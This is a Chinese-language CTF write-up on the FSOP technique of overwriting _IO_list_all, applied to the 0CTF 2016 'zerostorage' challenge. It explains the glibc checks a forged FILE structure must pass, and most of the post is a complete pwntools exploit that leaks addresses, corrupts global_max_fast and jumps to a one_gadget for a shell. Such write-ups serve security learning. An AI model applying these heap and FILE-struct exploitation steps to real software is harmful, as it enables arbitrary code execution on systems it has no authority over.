新姿勢Get:覆寫_IO_list_all 來getshell ,0CTF2016 zerostorage 的exp以及心得體會

先看大佬的總結 -> https://www.jianshu.com/p/a6354fa4dbdf

關於FSOP的要點就是:

  • FSOP選擇的觸發方法是調用_IO_flush_all_lockp

IO_flush_all_lockp函數觸發條件:

  1. 當libc執行abort流程時 abort可以通過觸發malloc_printerr來觸發
  2. 當執行exit函數時
  3. 當執行流從main函數返回時

_IO_list_all的結構:

pwndbg> p *_IO_list_all
$1 = {
  file = {
    _flags = 0xfbad2086, 
    _IO_read_ptr = 0x0, 
    _IO_read_end = 0x0, 
    _IO_read_base = 0x0, 
    _IO_write_base = 0x0, 
    _IO_write_ptr = 0x0, 
    _IO_write_end = 0x0, 
    _IO_buf_base = 0x0, 
    _IO_buf_end = 0x0, 
    _IO_save_base = 0x0, 
    _IO_backup_base = 0x0, 
    _IO_save_end = 0x0, 
    _markers = 0x0, 
    _chain = 0x7ffff7dd2620 <_IO_2_1_stdout_>
    _fileno = 0x2, 
    _flags2 = 0x0, 
    _old_offset = 0xffffffffffffffff, 
    _cur_column = 0x0, 
    _vtable_offset = 0x0, 
    _shortbuf = "", 
    _lock = 0x7ffff7dd3770 <_IO_stdfile_2_lock>, 
    _offset = 0xffffffffffffffff, 
    _codecvt = 0x0, 
    _wide_data = 0x7ffff7dd1660 <_IO_wide_data_2>, 
    _freeres_list = 0x0, 
    _freeres_buf = 0x0, 
    __pad5 = 0x0, 
    _mode = 0x0, 
    _unused2 = '\000' <repeats 19 times>
  }, 
  vtable = 0x7ffff7dd06e0 <_IO_file_jumps>
}

僞造的_IO_FILE_plus結構體要繞過的check:

1.(fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
   
或者是
2.
_IO_vtable_offset (fp) == 0 
&& fp->_mode > 0 
&& (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)

zerostorage

保護全開

具體分析 -> https://www.anquanke.com/post/id/178418#h2-6

exp:

from pwn import *
context(arch='amd64',os='linux',log_level='debug')
#io = process('LD_PRELOAD=./a ./zerostorage',shell=True)
io = process('./zerostorage')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

ru = lambda x : io.recvuntil(x,drop=True)
rn = lambda x : io.recv(x)
r = lambda x : io.recv()
sl = lambda x : io.sendline(x)
s = lambda x : io.send(x)

def insert(content):
	ru('Your choice: ')
	sl('1')
	ru('Length of new entry: ')
	sl(str(len(content)))
	ru('Enter your data: ')
	s(content)
	
def update(idx,content):
	ru('Your choice: ')
	sl('2')
	ru('Entry ID: ')
	sl(str(idx))
	ru('Length of entry: ')
	sl(str(len(content)))
	ru('Enter your data: ')
	s(content)
	
def merge(idx1,idx2):
	ru('Your choice: ')
	sl('3')
	ru('Merge from Entry ID: ')
	sl(str(idx1))
	ru('Merge to Entry ID: ')
	sl(str(idx2))
	ru('New entry ID is ')
	return int(ru('.'))
	
def delete(idx):
	ru('Your choice: ')
	sl('4')
	ru('Entry ID: ')
	sl(str(idx))
	
def view(idx):
	ru('Your choice: ')
	sl('5')
	ru('Entry ID: ')
	sl(str(idx))
	ru(':\n')
	return rn(16)
	
def build_fake_file(addr,vtable):
	flag=0xfbad2887
	#flag&=~4
	#flag|=0x800
	fake_file=p64(flag)               #_flags
	fake_file+=p64(addr)             #_IO_read_ptr
	fake_file+=p64(addr)             #_IO_read_end
	fake_file+=p64(addr)             #_IO_read_base
	fake_file+=p64(addr)             #_IO_write_base
	fake_file+=p64(addr+1)             #_IO_write_ptr
	fake_file+=p64(addr)         #_IO_write_end
	fake_file+=p64(addr)                    #_IO_buf_base
	fake_file+=p64(0)                    #_IO_buf_end
	fake_file+=p64(0)                       #_IO_save_base
	fake_file+=p64(0)                       #_IO_backup_base
	fake_file+=p64(0)                       #_IO_save_end
	fake_file+=p64(0)                       #_markers
	fake_file+=p64(0)                       #chain   could be a anathor file struct
	fake_file+=p32(1)                       #_fileno
	fake_file+=p32(0)                       #_flags2
	fake_file+=p64(0xffffffffffffffff)      #_old_offset
	fake_file+=p16(0)                       #_cur_column
	fake_file+=p8(0)                        #_vtable_offset
	fake_file+=p8(0x10)                      #_shortbuf
	fake_file+=p32(0)
	fake_file+=p64(0)                    #_lock
	fake_file+=p64(0xffffffffffffffff)      #_offset
	fake_file+=p64(0)                       #_codecvt
	fake_file+=p64(0)                    #_wide_data
	fake_file+=p64(0)                       #_freeres_list
	fake_file+=p64(0)                       #_freeres_buf
	fake_file+=p64(0)                       #__pad5
	fake_file+=p32(0xffffffff)              #_mode
	fake_file+=p32(0)                       #unused2
	fake_file+=p64(0)*2                     #unused2
	fake_file+=p64(vtable)                       #vtable
	return fake_file

insert('a'*16)			#0
insert('a'*16)			#1
insert('a'*16)			#2
insert('a'*16)			#3
insert('a'*16)			#4
insert('a'*16)			#5
insert((0x1000)*'a')	#6
insert(0x400*'a')		#7
insert('a'*16)				#8
insert(0x60*'a')		#9
merge(7,6)				#10
delete(2)
merge(0,0)			#2
#此處merge釋放的塊與delete釋放的塊不能挨着,否則會合並,導致無法leak出heap的地址

leak = view(2)
heap_base = u64(leak[:8]) & 0xfffffffffffff000
leak_addr = u64(leak[8:])
libc_base = leak_addr - 88 - 0x3c4b20
libc.address = libc_base
global_max_fast = libc_base + 0x3c67f8
#這個偏移是通過gdb.attach(io)以後用p /x &global_max_fast減去libc_base算出來的

one_gadget=libc_base+0xf1147	# 0x45216 0x4526a 0xf02a4 0xf1147
log.success('libc base: '+hex(libc_base))
log.success('heap base: '+hex(heap_base))
fake_file = build_fake_file(0,heap_base+0x90*7+0x1010+0x410)
insert(0x400*'a')
insert(0x1000*'a')
update(6,fake_file[0x10:].ljust(0x1000,'a'))
merge(0,6)
update(9,p64(one_gadget)*(0x50/8))
insert('a'*16)
insert('a'*16)
#爲了讓unsorted bin鏈表變空

merge(4,4)
update(11,p64(leak_addr)+p64(global_max_fast-0x10))
insert('a'*16)
#修改global_max_fast

delete(7)
sl('7')
io.interactive()
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章